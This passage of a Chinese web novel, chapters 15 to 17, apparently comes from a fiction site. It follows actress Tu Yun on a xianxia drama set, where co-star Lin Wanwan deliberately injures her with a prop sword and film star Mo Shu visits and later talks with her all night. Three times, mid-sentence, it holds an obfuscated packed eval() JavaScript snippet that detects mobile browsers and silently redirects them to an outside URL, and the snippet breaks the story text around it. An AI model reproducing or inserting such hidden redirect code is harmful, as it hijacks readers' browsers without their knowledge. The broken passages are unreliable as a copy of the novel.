奇怪了，两个人坐在一个屋里，有什么事不能直接说，还发微信？ 小刘举着手机朝她使了个眼色，意思是让她快看。 涂韵解锁，点开微信。 【A执行经纪小刘：韵姐，你知道为什么林婉婉对你有这么大的敌意吗？】 【大可爱韵：你也感觉到了？我不知道啊。】 涂韵心里也有些纳闷，她和林婉婉无冤无仇的，今天还是两个人第一次见面呢。 【A执行经纪小刘：我听说啊，本来林婉婉定的是女二，你定的是女一。因为你的长相更偏可爱一点，更符合女一的人设。演技你也比林婉婉好呢。】 【A执行经纪小刘：但是林婉婉说，她不会演女二的，尤其女一还是你这种名不见经传的新人。反正不知道她用了什么手段，就变成她是女一，你是女二了。】 涂韵恍然大悟，难怪呢，原来是林婉婉看不起她。 剧组最开始想着让咖位这么小的她演女一，林婉婉演女二，这不是拂了林婉婉的面子吗？ 不过她都拿奖啦，怎么还算名不见经传啊？ 林婉婉确实好像从出道开始拍的剧都是女主，但反响都一般。 涂韵在心里有些不服气，要真论粉丝和人气，说不定林婉婉还不敌她呢。 【大可爱韵：哎呀这都是听说。这种八卦，小刘你和我说说就行了，可别在外面乱说。】 【A执行经纪小刘：这我肯定知道啊，毕竟我都跟着桃姐干这么久了。】 两个人低着头，手指在手机屏幕上敲地飞快，就像是在地下秘密交流情报一样。 涂韵想了想，又问道： 【大可爱韵：对了，林婉婉是什么来头啊？背后是有资本吗？】 【A执行经纪小刘：韵姐你是真不知道还是假不知道啊？他们都传，林婉婉是时代娱乐高层的女儿啊。】 时代娱乐可是大公司，他们星耀娱乐可比不上。 涂韵在心里叹了口气，难怪林婉婉能有这么好的资源呢。 15. 第15章 来探班 打板声在片场响起时，涂韵正跪在铺满假雪的布景里，脏兮兮的指尖紧紧地攥着戏服下摆。 风箱还在往镜头里送着细碎的泡沫颗粒，落在她染了“血污”的鬓角，像真的雪粒那样化不开。 背景横尸遍野，满目疮痍，群演们都穿着血衣倒在雪地。 涂韵的脸上满是泪痕，她本来好看的眼睛现在却全是红丝，狠狠地瞪着站在不远处手握带血长剑的魏肖。她哀嚎着，咒骂着，必让昆仑血债血偿。 郭总导演喊“过”的瞬间，涂韵没立刻起身。虽然膝盖抵着的木板早被剧组的人裹了层厚绒布，可跪久了还是难受。拍戏进入状态的时候不觉得，可拍完才感觉到疼得很。 她已经在剧组拍了一个半月的戏了，再过一个多月她的戏份就结束了，可以杀青了。 现在拍的这段也算是她和魏肖很重要的对手戏，魏肖扮演的凌霄作为昆仑弟子被迫参与围剿狐族，涂韵饰演的璃月亲眼看到族人被凌霄的师门屠戮，两人从此结下血海深仇。 “你还起得来吗？”魏肖走了过来，朝她伸出手，指节上还留着昨天拍武戏时蹭到的浅疤。 涂韵握着他的手，借着力站起来，戏服下摆扫过地面，带起一片没散的“雪沫”。 她刚想开口说话，和魏肖打趣几句。片场却突然静了大概两秒，接着不知是谁喊了句“莫……莫老师？” 涂韵转头看见，瞥见片场入口处有一道陌生又熟悉的身影——莫殊。 他穿了件简单的白色T恤，外面穿了件黑色格子衬衫。黑色的帽檐压得略低，只露出线条干净的下颌。他双手交叉正看着他们，穿着神情都与周围仙袍、古装的剧组人员格格不入。 哪怕只露出半张脸，也藏不住那股在大银幕上颠倒众生的气场。 作为上一届金影奖的影帝，谁也没料到他竟然会出现在这里。 涂韵心里咯噔一下。 莫殊怎么来了？她环顾一下四周，难道是来探班的？ 探谁的班？总不会是她的吧？不知为何，涂韵的心里又紧张又有些期待。 她忙整理了一下脸上的表情，刚准备走过去，就看见本来坐在道具组旁边等着拍下一场戏的林婉婉站了起来，大声地喊了句，“莫老师！你来啦！”边喊还边挥手，一副很熟稔的模样。 涂韵连忙止住脚步，转过身去，心忽地就沉了下去。差点……她就又要丢脸了。 果然人一尴尬起来，就会手忙脚乱。她一会儿假装理粘在脸边的雪粒，一会儿弯腰把身上裙子的褶皱扯平。 导演喊了句“卡，休息十分钟”后，便迎了过去，语气还带着几分惊讶：“莫殊？你怎么来了？” “路过横店，”莫殊朝着导演笑了笑，”听说您在这边拍戏，我便过来看看，学习学习电视剧是怎么拍的。“ 导演拍了拍莫殊的肩膀，“好久不见啊。你要想知道，直接电话找我就行了，过来多麻烦啊。” 莫殊低头望着地上笑了笑。幸好剧组里还有相熟的工作人员，才没让他这么尴尬。 他没提自己是专门为涂韵过来的，虽然涂韵已经把他删了，但是陈霖还加着苏小桃的微信呢。 看见苏小桃在朋友圈说，涂韵吊威亚差点摔下来，他便干脆过来了。连他自己都觉得唐突，可是一想到都快两个月没看见涂韵了，还有涂韵万一摔伤了怎么办。 可谁知，刚到剧组，就看见别的男人拉着她的手。两个人对视着，涂韵笑得特别地甜和自然，完全不像在他面前一样有一点拘谨。 落在莫殊眼里，就像根细刺扎进心里。他紧紧抓着自己的胳膊，指节泛白，连呼吸都慢了半拍。他甚至开始后悔：是不是不该来？他们本就不熟，这样贸然出现，会不会让她觉得困扰？ “莫哥，奶茶和点心都送来啦！”幸好，这时候陈霖提着好几个保温袋过来了。 莫殊接过其中一袋，打开递给场记，声音温柔：“郭导在这儿拍戏，我不得过来看看。我买了点喝的和点心，大家都分着尝尝。” “哇！还是冰的！”场记打开袋子的瞬间，惊呼引来了一圈人。 说话间，莫殊的目光越过人群，精准落在了涂韵身上。 涂韵没有过来，而是正坐在折叠椅上，手里头捏着剧本，眉头微蹙，嘴里头还念念有词着，好像在记台词。 而保温袋打开的瞬间，凉气裹着甜香散开。 三袋是冰镇奶茶，杯身贴着手写的标签，标注着不同的甜度和配料；还有一袋是刚出炉的蔓越莓司康，还带着余温。 这大夏天的拍戏就是难熬。演员们要穿着好几层的戏服，工作人员也得扛着大设备汗流雨下，此刻正缺这口甜丝丝的凉饮。 “天呐！没想到我竟然喝到莫老师买的奶茶了！好喝！”林婉婉从人群里挤到了莫殊身边，直接拿起一杯吸了一口，眼睛亮得像藏了星星。 她举起奶茶杯，看清上面的标签后，捂着嘴笑了一下，“莫老师，你怎么知道我喜欢三分糖去冰啊？” “对了，莫老师，我们能加个微信吗？以后说不定有机会一起合作呢。” 这话像颗石子投进水里，瞬间激起一圈涟漪。 其他在场的工作人员和演员们都举着手机凑过来，手机屏幕此起彼伏地递到莫殊面前，一眼望去都是二维码。 莫殊他没拒绝也没答应，余光里，他看见涂韵正仰着头和站在一旁的魏肖说话，似乎根本就没在意这边的骚动。 魏肖：“涂韵，你不过去吗？再不过去，奶茶可能就被抢完了哦。” 涂韵摇摇头，手指无意识地抠着剧本边缘，“我现在还不想喝，我再看会剧本。” 魏肖看了看被团团围住的莫影帝，又看了眼坐在椅子上，看起来有些孤单的涂韵，“那行，那我陪你。趁下一场还没开拍，我们可以再对会词。” 见涂韵和魏肖聊得起劲，莫殊突然提高声音，“加微信可以的，人太多了，你们扫我吧。” 这话落在涂韵耳朵里，让她心口莫名一闷。 她知道自己没什么资格在意，可看着莫殊被一群人围着，看着他耐心地跟林婉婉说话，看着他温柔地递奶茶和司康，她的心里就堵得慌。 明明她是他的铁杆粉丝，以前没进娱乐圈的时候，她会疯狂地刷他的作品和物料，会将重要的组会推掉，在各个国家间飞来飞去就为了能线下参加他的首映礼。甚至……她选择进娱乐圈也是为了他。 可是为什么……她现在却不敢站起来大大方方地走过去呢？也许是因为开始有了期待，所以就会害怕失望。她只敢缩在自己的蜗牛壳里。 魏肖伸出手在她面前晃了晃，“涂韵，你怎么呢？” 涂韵反应过来，不好意思地笑了笑，“我刚忘词了。刚刚对到哪句啦？” “你们两个怎么不过去拿喝的？”莫殊走了过来。 他刚刚特意提高声音就是为了吸引涂韵注意，谁知道涂韵根本没什么反应，倒是他自己憋不住先过来了。 莫殊递过来两杯奶茶，“这两杯是留给你们的，拍戏累也得放松一下喝点甜的。” 魏肖站起来，连忙接过，“谢谢莫老师，我是魏肖。” 莫殊笑了笑，“我知道。” 涂韵也跟着站起来，猛地一抬头，就撞进莫殊带着笑意的眼睛里。 她的耳尖瞬间发烫，但还是装作刚看见莫殊的样子：“莫老师，您……您怎么会来这儿？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490347|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我最近也在接触电视剧。刚好郭导在这拍戏，便过来看看你们拍的怎么样。”莫殊说得很自然，完全没有引起涂韵的怀疑，所以涂韵顿时就有点蔫了。果然怎么可能是会来看她的呢？ “对了，我好像还没有你们两个微信，”莫殊从口袋里掏出手机，“要不……加一个？” “莫老师，我的荣幸！” “可以的。” 见涂韵通过了他的好友申请，莫殊才松了一口气。 为了不让郭导起疑，莫殊演戏演到底，真的呆在片场里继续看着他们拍戏。只不过他大部分的时候，眼神都落在涂韵的身上。 作为金影奖的影帝，莫殊其实见过很多演员的表演，有的靠技巧堆砌情绪，有的靠眼泪博取共情。 可涂韵不一样——她像是真的变成了那个原本无忧无虑被家人庇护，一夜之间被迫成长的小狐狸，连呼吸都带着角色的痛感。 也许是因为涂韵和他一样，都不是专业科班出身，所以他们两个都可以说是体验派，拍戏时都容易将自己代入进去。 “过！”导演的声音带着满意。 涂韵走了过来，说道：“导演，我今天的场次都拍完了。” 郭导翻了翻通告单，“嗯，还剩两场魏肖和林婉婉的对手戏。涂韵，你可以先收工啦。” 涂韵松了口气，原来被影帝，她的偶像盯着拍戏是这么紧张的一件事啊。刚开始拍的时候，她差点紧张到台词都要忘了。 “哦，对了，郭导，我……我该走了。”这时，莫殊突然站起往后退了两步。 “嗯？”郭导推了推眼镜，“莫殊，你要不等我会，收工后我请你吃个饭？” 莫殊婉拒道，“不用不用，导演，我晚上还约了别人。” 其实是因为涂韵下来了，他不敢多留，怕再待下去，他又变成傻瓜模样，让她觉得他奇怪。 其实，面对涂韵，他也很紧张，不知道该说些什么好。 涂韵望着莫殊的背影皱了皱眉。是她的错觉吗？怎么感觉莫殊在躲着她呢？ * 陈霖边开着车，边好奇地问道：“莫哥，你让我买的三分糖去冰奶茶，还要再加份栀子冻，还特意让我单独拿个袋子装，是给谁的啊？” 没有得到莫殊的回答，但陈霖也已经习惯了。 天已经变成了沉沉的墨蓝色，太阳还未完全落下去，一小轮月亮倒已经升了起来。 在等红绿灯的间隙，陈霖又问道：“莫哥，你说你要学习，大老远跑来横店干嘛啊？附近的影视城不也有你认识的剧组吗？” 莫殊歪着头坐在副驾驶上，望着手机，不自觉地勾起唇角，“你不懂，这个剧组好。” 陈霖皱了皱眉头，满脸不解，“好在哪儿？” 好在……有涂韵在。 这次探班没白来。 莫殊刚登陆微博小号，就看见涂韵发了条微博，配图只有一张图片，就是那杯三分糖去冰再加份栀子冻的奶茶。 【涂韵今天也要加油鸭V：是我喜欢的口味呢。[图片]】 其实今天的奶茶和点心，都是按涂韵的喜好准备的。她的微博内容，他早就倒背如流。他知道她爱喝三分糖去冰的奶茶，最近刚喜欢上新品小料栀子冻。采访里说过喜欢的甜点是蔓越莓司康。 只是……他不敢直接说是给她一个人的，只能借着“给大家分”的名义，悄悄把那杯加了栀子冻的奶茶，先藏起来。借着大家都能加微信的方式，让涂韵重新加了他，而其他人的好友申请（除了魏肖），他都没有通过。 莫殊没有回答陈霖的话，只是手指轻点，悄悄地给涂韵点了个赞。 就让这颗爱心来代替他的心意吧。 16. 第16章 都怪你 片场洗手间刚拖过的瓷砖地面湿漉漉的，水多到可以照镜子。因为剧组和群演人多，所以厕所里的空气并不好闻，再加上橙子味洗手液和廉价香薰的味道交织在一起，反倒更加刺鼻。 涂韵从隔间里走出来，正低着头洗手时，就听见身后传来“啪嗒啪嗒”拖鞋的声音。 涂韵抬起头，看见镜子里映出林婉婉的身影。 “好巧。”林婉婉的声音从身后传来。 涂韵没回头，只是淡淡地应了句嗯。 拍了一个半月的戏，她和林婉婉也还不是很熟。一个是因为她们的对手戏比较少，另一个则是林婉婉平时也懒得搭理她，两个人在片场很少说话。 林婉婉走到洗手台边，拧开水龙头，冷水“哗哗”流出来。 她却没伸手去接，只是任由水流冲着空荡的洗手盆，“对了，你和莫殊很熟？” “不熟，就见过几面”，涂韵往旁边挪了一下，将一直哗哗出水的水龙头关掉，皱眉说道，“你这样很浪费水。” “真不熟？”林婉的目光透过镜子落在涂韵身上，带着审视的意味，“那前几天他怎么会突然过来探班？” 涂韵从旁边的纸巾盒里抽出几张纸巾，边擦手边漫不经心地说道：“他不是来探班郭导的吗？他和郭导比较熟吧？” “你觉得我会信？”林婉婉嗤笑一声，“之前你们俩互相关注不是还上过热搜吗？还有你们一起上了那个综艺，可好多人都磕你们呢。连我，都经常刷到那个扎头发的视频……” 涂韵转过身，看向林婉婉，“不是，你到底想说什么？” “没什么，就是他后面有部戏定的我是女主。我好奇问问，怕你们在谈恋爱。你吃醋。”林婉婉笑了笑，语气中带着嘲讽，“对了，你都还没演过什么女主吧。怎么不让莫殊帮你拿个女主角色？” 一听到这，涂韵就有些来气。 林婉婉怎么好意思暗讽她是资源咖？她怎么不想想，这部剧她是怎么拿的女一？ 但涂韵没想和林婉婉起冲突，她只是低下头，将擦好手的纸巾扔进垃圾桶，“你好无聊哎。和你说过了，没谈恋爱。” 说完，没再看林婉婉一眼，就直接走出了洗手间。 脚步声渐渐远去，洗手间里只剩下林婉婉一个人。 林婉婉看向镜子，镜子里的她嘴角勾起了一抹嘲讽。 无非就是一个出道一年多的小艺人罢了，竟然敢骂她幼稚和无聊？ 既然和莫殊不熟……那就好。 * 《烬染霜华》的片场，人造云雾在搭好的场景中缭绕，群演们都已经准备就绪。 这场戏可是大场面，是人仙妖三界的最后一战，也是林婉婉、魏肖和涂韵三人的对手戏。 剧本设定是，在最后的大战中，璃月终于明白是自己的执念困住了自己，为了保护凌霄和杜灵儿（也就是林婉婉饰演的女主），以九尾为祭暂时封印妖兽们。 而杜灵儿对璃月和凌霄百年前的羁绊一无所知，误以为璃月是在假意示好，对其拔剑相向。 动作设计是杜灵儿准备拔剑时，璃月徒手挡剑，既显杜灵儿的愤怒和刚正不阿，又衬璃月无意伤害他们。 武术指导前一天还特意跟两人确认了力度，点到为止即可。 到时拍的时候，剑只会轻蹭涂韵的手臂。道具组已经把那把道具剑的边缘磨过了，剑尖的边缘处还悄悄地贴了层透明胶，确保不会让演员受到伤害。 “各部门准备，第一条，开始！”场记板清脆一响，刚刚还闹腾着的现场顿时就安静下来。 摄影棚的聚光灯骤然亮起，涂韵，林婉婉和魏肖站在先前定好的点位上，背景里的群演们也握着道具在打斗，努力地当好背景板。 林婉婉将魏肖护在身后，一把抽出魏肖的剑指向涂韵，眼神凌厉，“凌哥哥，你不要被妖狐所蒙蔽了！” 林婉婉眼神中满是怒意地瞪着涂韵，倒比她平时拍戏感情要浓烈得多。 不像是演的，这个念头刚闪出来，涂韵就看见剑刃猛地落下。 她没来得及多想，按照之前武术指导得那样，伸手去挡。 按照之前武指定好的动作，林婉婉会在剑离她小臂还有两厘米时收力，轻轻蹭过即可。 可谁知就在剑即将碰到涂韵手臂的瞬间，她突然看见林婉婉的手腕往下压了压。 那动作很细微，却逃不过她的眼睛。 下一秒，原本该“轻蹭”的力道骤然加重，剑微微转了一下，边缘没贴透明胶的地方，像一片锋利的薄刃，带着一股狠劲刮过她的小臂内侧！ 不是“扫过”，是“刮过”！ 刺痛瞬间顺着手臂蔓延开来，涂韵忍不住闷哼一声，身体下意识地缩了缩手臂。 那是疼到极致的本能反应。 “停！”导演的怒吼立刻传来，“涂韵，你怎么回事？说好了别躲，怎么还缩手了？情绪全断了！” 魏肖表情有些错愕，上前一步，“涂韵，你……你没事吧？” 涂韵攥着发疼的小臂，指尖因为用力而泛白，“力道太重了，刮得我疼。” 林婉婉已经先一步放下剑，快步走过来，一脸“担忧”地拉起她的手臂，“是不是我刚才太用力了？都怪我，一入戏就没收住劲。” 涂韵想把林婉婉的手甩开，可是顾及到现在周围这么多人，别到时被拍下来落了个和同组演员交恶的八卦，只能在心里忍了下来。 她还没开口说话呢，林婉婉就拍了拍她的手臂，用一种“前辈过来人”的语气说道：“拍仙侠剧是这样的，拍戏哪有不疼的啊？我有分寸，不会真伤着你的。” 听起来是好意，但最后一句话总感觉话里有话。 魏肖站在一旁抿了抿嘴，没有说话。 武术指导刚好走过来检查道具，林婉婉立刻扬声喊：“王指导，我觉得挥剑的时候，剑刃得有劈下去的劲儿。然后涂韵挡剑的时候，手臂也得硬一点，抬起来一点，不能软绵绵的。这样镜头拍出来才能特别有冲击力，你觉得呢？” 王指导扫了眼她们俩，见剑上的透明胶还在，便随口应道：“可以，别太用力就行，注意安全。” 涂韵张了张嘴想说些什么，最后还是把话咽了回去。 可能是因为今天早上在洗手间里的不愉快，林婉婉明显就是在针对她，她要是看不出来就是傻子了。 林婉婉借着拍戏的借口弄她，无非就是让她吃个哑巴亏。 要是她说一句不是，可能明天营销号都是发什么“涂韵娇气，吃不了苦”的通稿了。 以前她就听闻过林婉婉在剧组里耍大牌，一不开心就叫人滚的“光辉事迹”，而且有好些演员和林婉婉合作过后，黑稿就骤然变多了。 林婉婉的背后是时代娱乐，今天要是让林婉婉下不来台，她以后遇到的可能就不仅仅是这些了。 见涂韵一直没说话，已经有旁边不明事情真相的工作人员在打圆场了，“婉婉姐也是为了戏好，入戏深难免没分寸”，“道具已经检查过了，涂韵你别怕”，“……” 涂韵似乎都能感觉到那些目光里的同情、疑惑，还有几分“果然是新人，一点苦都吃不了”的审视。 郭导演从监视器后探出头来，问道：“涂韵，你怎么了？还能拍吗？” 涂韵响亮地回了句，“对不起导演，我调整好了，可以拍了。” 说完，她转头看向林婉婉，嘴角勾起，“谢谢婉婉姐指点。” 林婉婉越想看她的笑话，她就越不能弱给她看。 不能哭，不能在片场失态，不然只会让林婉婉更加得意。 “第二条，开始！” 场记板落下的刹那，前面的台词，动作都照常发挥，林婉婉转腰、抽剑、挥剑，白色的衣袖在空中划出利落的弧度。 这次，涂韵没有躲开。她的手臂抬到胸前，小臂绷直，狠狠地挨了一剑。 剑刮过的地方，正是林婉婉特意调整姿势后，避开透明胶的位置；而那力道也是带着算计的“精准打击”。 痛，很痛。 但涂韵面色不改，依旧情绪饱满地朝着林婉婉喊出剧本里的台词，“灵儿，凌霄，我真的是来帮你们的！” “过了！涂韵，这次对了，就是这个劲儿！”监视器后的导演没再喊卡，声音里带着明显的认可。 听到”过了“两个字，涂韵后背的汗湿感才顺着衣料贴上来，连胳膊的痛都变得轻飘飘的。 幸好后续拍的都是文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490348|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏了，没有她和林婉婉的对打戏份了。 涂韵没有告诉剧组的任何人，她的手受伤了，而是依旧继续今天的拍摄。 林婉婉看见涂韵没什么反应还有些惊讶，后面可能也觉得没什么意思，倒也老老实实拍戏了。 收工后，林婉婉直接就钻进了房车里，扬长而去。 而涂韵回到化妆间，掀起袖子一看，小臂内侧有一道细长的印子，像条刺眼的红线，虽没流血，却看得人心里发紧。 红印的周围已经有点发紫了，可能有淤血。 涂韵在红印上轻轻按了下，顿时疼得倒抽一口冷气，眼眶瞬间就热了。 这林婉婉，TM的下手真狠。 化妆师在一旁看见了，惊呼出声，“涂老师，你这怎么弄的！” 小刘吓得捧起涂韵的胳膊左看右看，“韵姐！你这不会是拍戏的时候弄得吧？这印子怎么这么严重？！” 涂韵笑了笑，“没事。” “涂韵，你还好吗？我拿了药膏过来。”身后响起魏肖的声音。 “这药膏挺管用的，我家里都常备着。”魏肖走到涂韵的身边，自然地拧开药膏的盖子，想帮她涂抹时，涂韵直接接了过去，“谢谢魏老师，我自己涂就行。” 魏肖笑了笑，“好，那你自己涂。” 涂韵低着头，指尖沾上一些药膏，在印子上涂抹着。涂抹的力道不大，但……还是疼。 清凉的药膏一抹上去，皮肤就有些发烫。 涂韵边涂着，边漫不经心地问道：“魏老师，你那时候看见了吧？” 魏肖愣了一秒钟，然后反应过来，神情有些愧疚，“涂韵……对不起……” “有什么好对不起的，”涂韵开了口，她抬起头，脸上甚至带着点浅浅的笑，“我都理解。” 她甚至都能想出无数个他没上前的理由——怕麻烦，怕被孤立，怕林婉婉背后的资本。他为什么要为一个刚认识没多久的拍戏伙伴，却得罪时代娱乐？ 可理解归理解，那一点失望还是像一根细细的针一样扎在心上。 不碰这根针倒好，但一想起来还是会扎得有些难受。 不过涂韵明白，罪魁祸首还是自己，自己太过软弱了。 她恨自己什么也做不了，她能做的只能尽力把戏都拍好，让重复拍摄的次数变少。 以前进的两个组，大家都很好。尤其是第二个剧组，珺姐真的是个很好的前辈，事事都照顾着她。就是因为大家都太好了，让涂韵以为只要拍好戏就行。 她的心里面第一次地那么清醒，在看似光鲜的片场，有些“戏里的打”，从来都不只是“戏里”；而有些“同行”，也从来都不是“好心”。 魏肖望着涂韵，她明明眼角都有些泛红了，却还要装作一脸平静的样子。 这样反倒让他更愧疚了，他宁愿涂韵大声地质问他为什么。 他的喉结动了动，像是有话堵在喉咙口，最后只说了一个“嗯”字。 * 晚上，灯已经关了，房间里漆黑一片。 涂韵躺在床上翻了个身，盯着天花板发呆。 涂韵想起来莫殊来探班那天，林婉婉叫他叫得很是熟稔。又想起来林婉婉早上说，她马上就要和莫殊合作了。 该不会……莫殊那天其实是借着来看郭导的名义来看林婉婉的吧？ 嗯……来看一下未来的合作搭子，也挺合理。 虽说之前涂韵就知道林婉婉对她不善，可她今天突然这样直接针对她，肯定是因为莫殊！ 涂韵摸了摸还在隐隐作疼的手臂，在心里骂了一句蓝颜祸水。要不是莫殊，她今天至于挨这一下子吗？ 涂韵越想越气，也不知道哪来的勇气，一股脑地坐起来，开灯，撩开衣袖，拍照，点开那个黑色的头像。 其实自从莫殊重新加上她的微信之后，便每天早晚都会发“早安”，“晚安”。 涂韵每天拍戏忙得很，一直没回。当然莫殊好像也不需要她回，聊天页面上只有莫殊孤零零的一排气泡框。 上面一句还是莫殊今晚发的晚安，涂韵直接略过。 【大可爱韵：[照片.jpg]】 【大可爱韵：看见了吗？都怪你。】 17. 第17章 聊通宵 其实发完之后，涂韵就后悔了。 现在已经凌晨一点了，莫殊已经给她说了晚安，现在莫殊应该早就抱着枕头熟睡了。她发给他伤口照，并不会得到任何即时的回应，反而会让莫殊觉得她这个人莫名其妙的。 涂韵又摸了摸自己的手臂，其实……伤口的疼远没那么难忍。 她有些惊恐地发现，她也许只是想任性一次，和他说说话诉诉苦。 当涂韵意识到这一点的时候，她的心跳猛地加快，好似颁奖礼那天的小鹿又重新闯了进来，在她的心房里横冲直撞的。 她……喜欢他，一直很喜欢。 下一秒，放在身侧的手机突然震动起来。 涂韵的心跳猛地漏了一拍，连呼吸都跟着顿了半秒。 是莫殊。 涂韵：“喂？” 电话那头，莫殊刚摸到手机就看清了内容，图片其实拍的并不清晰，手臂上那条红痕糊的像条线。 但莫殊的睡意瞬间被惊散，指尖划过屏幕打涂韵微信电话的时候，连手都带着点不易察觉的慌。 他刻意放轻语气，怕自己的急切吓到她，声音里却藏不住担忧：“涂韵，你怎么了？受伤了？” 涂韵本来的打算是狠狠地骂一通莫殊，骂他蓝颜祸水，祸水东引，可接起电话的时候，声音却不自觉地软了下来，还带着点委屈，“没怎么，拍戏的时候弄伤的。” 莫殊心疼地问道：“疼么？去医院看了没？我明天买最早一班的飞机过来。” 图片怎么放大也不看清楚，他得亲自看看才放心。 “不用不用！”涂韵连忙提高音量，以她对他粗略的了解，她还真怕莫殊打飞的过来，“就是被道具划了一下而已，已经涂了药了。” 一想到涂韵孤零零地在横店拍戏，身边就带着一个人，拍戏还傻乎乎的受伤了，莫殊的心里就像被什么东西揪着似的疼。 “你确定真的不用去医院吗？”莫殊的声音软下来，带着点哄人的意味，结果却听到电话对面突然笑出了声。 “莫殊，我突然想起一句很经典的话，你现在就和这话描述的一样，”涂韵好不容易止住笑，问道，“你有没有听过一句话：好险，再晚点送去医院，伤口就要愈合了。” 其实涂韵的手臂还疼着，那道具剑虽然边缘被磨过，但还是尖厉，划得她钝疼钝疼的。 她在酒店房间里，一个人躺着听着空调压缩机在房间里吱呀吱呀的声音，就感觉特别的孤单。 可听到莫殊的声音，涂韵的鼻子一下子就有点酸。不知道是不是隔着电话的原因，声音有些失真，在这个晚上，莫殊的声音显得格外地温柔。 这好像是第一次，有人会因为她的一点小伤而惊慌，慌到连自己的工作都愿意往后放。 她悄悄地吸了吸鼻子，妄图用插科打诨打断莫殊的关心。 她怕莫殊再多说几句，她的眼眶就包不住眼泪水了。 莫殊愣了几秒，“听过。” 他没再坚持过去，而是接着柔声问道：“那你还疼不疼？一般受伤发炎了可能还会发烧，要是真的不舒服的话，要不要我和郭导说一声？你一般早上几点开工？我听说横店旁边有家粥铺很好吃，要不要给你点一碗皮蛋瘦肉粥？” 他知道涂韵不喜欢麻烦别人，就怕她不舒服还硬撑着拍戏。 涂韵知道莫殊是个喜欢早睡的人，莫殊每天的晚安都在十一点左右发过来。之前的采访里也能看出莫殊是老干部作息。 但现在都凌晨了，莫殊的声音却没有丝毫不耐烦，反而满是温柔的在意。 涂韵攥着手机的手指紧了紧，心里像被温水浸过一样，又暖又软。 她翻了个身，侧躺在床，将手机压在耳朵下面，好让莫殊的声音传过来更加地清晰。她乖乖地答：“有点疼，但能忍。没有发烧。明天早上七点起来化妆，八点开拍。皮蛋瘦肉粥，我想吃。” “好，那我明天给你点。”电话那头传来衣服布料摩擦的细细簌簌声音和拉椅子的声音，应该是莫殊披了件外套，坐了起来。 莫殊坐在书桌前，手机放在耳边，另一只手的指尖无意识地摩挲着桌面。 “不疼啊，”他的声音更柔了，带着点安抚的意味，“对了，为什么你说都怪我？” “我……”，涂韵不自觉地撅起嘴，问道，“没什么。莫殊，你……是不是要和林婉婉一起拍戏了？” “林婉婉？”名字有些耳熟，莫殊回想了好几秒，才想起来那是涂韵正在拍的这部戏的女主角，“没有啊。” “哦，想起来了，之前不是有一些电视剧的剧本在找我吗？有一部好像已经定了女主角，是林婉婉，正在找搭档的男主呢。我还在筛剧本，还没确定下来接哪部呢。怎么啦？” 涂韵心里的不安消散了大半，连手臂的疼都好像减轻了些。 她顺着他的话问，“那你……想接吗？” 莫殊认真地回忆了一下那部剧本，摇了摇头，答道：“不想，那个剧本纯是谈恋爱的剧情。”那本剧本找来的时候说是为他量身定做的，但莫殊翻了一下前六集，大概就是总裁和秘书的恋爱故事，剧情没有什么吸引力，就是纯宠纯甜。 “你之前不都是拍电影吗？怎么突然想着演电视剧了？” 莫殊顿了顿，慢慢开口，“因为你。” “啊？“涂韵有些不可置信，”怎么会是因为我呀？” 莫殊转移话题，问道：“对了，你不是都喊我莫老师吗？怎么现在喊我莫殊了？” 涂韵抿了抿唇，私下里喊莫殊喊惯了，今天纯是忘记改口了。 见那边没有回复，莫殊忙解释道：“我不是一定要你喊莫老师，我……就喜欢你直接喊我名字。我本来也就比你大一岁，这样显得更亲昵一些……” “知道啦！莫殊。” 两个人就这么有一搭没一搭地聊着，莫殊从以前拍戏的趣事说到参加活动时老是纠结要穿什么衣服，感觉总是不同的西装穿到底，还特意提起颁奖礼那天，涂韵穿的裙子很漂亮。 又说到两个人在微信里聊天，他说的那些油腻的梗。莫殊认真地讲：“我想变得说话有趣一些，特意在网上找了聊天的攻略。” 涂韵忍不住笑了，脑海里立刻浮现出他拿着手机在不同的界面上切换，绞尽脑汁想着该怎么开启话题的样子。“有没有可能，真正有趣的人根本不会写和找这种攻略。” 说完，涂韵又马上补充道：“但我觉得你今天这样说话就很好。” 很好，很温柔，让她都有些沉溺在这个深夜里。 聊着聊着，困意像温水一样慢慢漫上来，眼皮越来越重。 涂韵把手机贴得更近了些，仿佛这样就能离他更近一点。 “莫殊，”她迷迷糊糊地开口，声音轻得像梦呓，“你会不会觉得我很麻烦啊？这点小事还半夜打扰你。” 莫殊听到她的话，心里软得一塌糊涂。 他放轻了呼吸，声音里满是认真：“涂韵，怎么会麻烦呢？我今天很高兴，你能找我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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涂韵昨天睡得晚，还迷迷糊糊的时候，突然听见耳边传来莫殊的声音，“涂韵，早餐到了，快起床吧。” “啊！见鬼啦！”涂韵被吓得一骨碌就坐了起来，看见枕边的手机，才想起昨天晚上和莫殊聊了好几个小时的事情。 她拿起手机一看，发现电话竟然一直没有挂断！显示两人的通话时间已经长达快七个小时，她的手机电量都已经变红奄奄一息了。 ”没有鬼，是我，莫殊。”莫殊轻笑了一声，“你的手还疼吗？“ 